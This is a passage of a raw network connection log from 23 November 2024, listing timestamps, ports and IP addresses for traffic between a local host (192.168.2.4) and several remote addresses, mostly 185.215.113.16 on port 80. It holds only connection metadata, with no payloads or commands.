Nov 23, 2024 18:22:28.924643993 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.924685001 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.925148010 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.925194025 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.925261974 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.925302029 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.925934076 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.925982952 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.926162958 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.926213026 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.926569939 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.926618099 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.926619053 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.926661015 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.927278996 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.927331924 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.927387953 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.927438974 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.928016901 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.928064108 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.928093910 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.928133965 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.928730965 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.928774118 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.928944111 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.928988934 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.929435968 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.929506063 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.929608107 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.930154085 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.930198908 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.930250883 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.930298090 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.930891991 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.930938959 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.930969000 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.931011915 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.931674004 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.931720018 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.931826115 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.931869030 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.932410002 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.932456970 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.932487011 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.932533026 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.933163881 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.933207989 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.933296919 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.933336973 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.933804035 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.933861017 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.933898926 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.934448957 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.934638977 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.934698105 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.935158968 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.935518980 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.935563087 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.935847998 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.935897112 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.935956955 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.936570883 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.936616898 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.936666965 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.936709881 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.937311888 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.937355995 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.937468052 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.937514067 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.938024044 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.938069105 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.938339949 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.938384056 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.938796043 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.938841105 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.938937902 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.938982964 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.939604044 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.939652920 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.939676046 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.939718008 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.940269947 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.940311909 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.940350056 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.940399885 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.940905094 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.940953016 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.941104889 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.941148996 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.941611052 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.941773891 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.941826105 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.942293882 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.942347050 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.942388058 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.942430019 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.942785025 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.943048954 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.943136930 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.943186045 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.943228006 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.943247080 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.943612099 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.943664074 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.943669081 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.943753004 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.943938971 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.943957090 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.943970919 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.943973064 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.944021940 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.944390059 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.944396019 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.944475889 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.944773912 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.944825888 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.945183039 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.945230007 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.945261955 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.945311069 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.945916891 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.946078062 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.946121931 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.946630955 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.946681023 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.993505001 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:28.993593931 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.013858080 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.013895988 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.014221907 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.042638063 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.045110941 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.045177937 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.045789957 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.045808077 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.066710949 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.067696095 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.067713022 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.067807913 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.084682941 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.084743023 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.084758997 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.084789991 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.084865093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.084914923 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.084964037 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.085017920 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.085545063 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.085630894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.085683107 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.086232901 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.086286068 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.086332083 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.086384058 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.087023973 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.087074995 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.087120056 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.087177038 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.087671041 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.087820053 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.087894917 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.088422060 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.088474989 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.088568926 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.088619947 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.089045048 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.089096069 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.111732006 CET	49793	80	192.168.2.4	185.215.113.206
Nov 23, 2024 18:22:29.124846935 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.125044107 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.125117064 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.125300884 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.125356913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.125515938 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.125953913 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.125999928 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.126282930 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.126327991 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.126718998 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.126769066 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.126785994 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.126838923 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.127243996 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.127304077 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.127363920 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.127414942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.127933025 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.127976894 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.128010988 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.128055096 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.128632069 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.128676891 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.128751993 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.128797054 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.129360914 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.129473925 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.129518986 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.130114079 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.130157948 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.130187035 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.130237103 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.130783081 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.130831957 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.130861998 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.130904913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.131536961 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.131583929 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.131757021 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.131807089 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.132283926 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.132329941 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.132359028 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.132404089 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.132925987 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.132972002 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.133028030 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.133074999 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.133636951 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.133725882 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.133774996 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.134361982 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.134412050 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.134469986 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.134521008 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.135061979 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.135148048 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.135205030 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.135251999 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.135780096 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.135826111 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.135885954 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.135936022 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.136522055 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.136581898 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.136624098 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.137271881 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.137316942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.137444019 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.137504101 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.137999058 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.138041973 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.138044119 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.138084888 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.138664961 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.138709068 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.138766050 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.138809919 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.139394999 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.139439106 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.139467001 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.139508963 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.140116930 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.140163898 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.140237093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.140284061 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.140814066 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.140860081 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.140929937 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.140974045 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.141544104 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.141681910 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.141736984 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.142231941 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.142282963 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.142339945 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.142389059 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.142961979 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.143008947 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.143043041 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.143091917 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.143661022 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.143708944 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.143743038 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.143789053 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.144428015 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.144476891 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.144551039 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.144598961 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.145088911 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.145178080 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.145222902 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.145272970 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.145960093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.146068096 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.146117926 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.146604061 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.146657944 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.146776915 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.146830082 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.147365093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.147414923 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.147416115 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.147461891 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.147958994 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.148009062 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.148009062 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.148056030 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.148662090 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.148746014 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.148761988 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.148809910 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.149394989 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.149451971 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.149502993 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.150073051 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.150120974 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.150175095 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.150222063 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.150815964 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.150861979 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.150880098 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.150938034 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.151541948 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.151588917 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.151618958 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.151663065 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.152257919 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.152302980 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.152340889 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.152385950 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.152960062 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.153007030 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.153017998 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.153063059 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.153670073 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.153687954 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.153733015 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.154402018 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.154452085 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.154479980 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.154527903 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.155097008 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.155172110 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.155191898 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.155240059 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.155865908 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.155913115 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.155936003 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.155985117 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.156549931 CET	80	49800	185.215.113.16	192.168.2.4
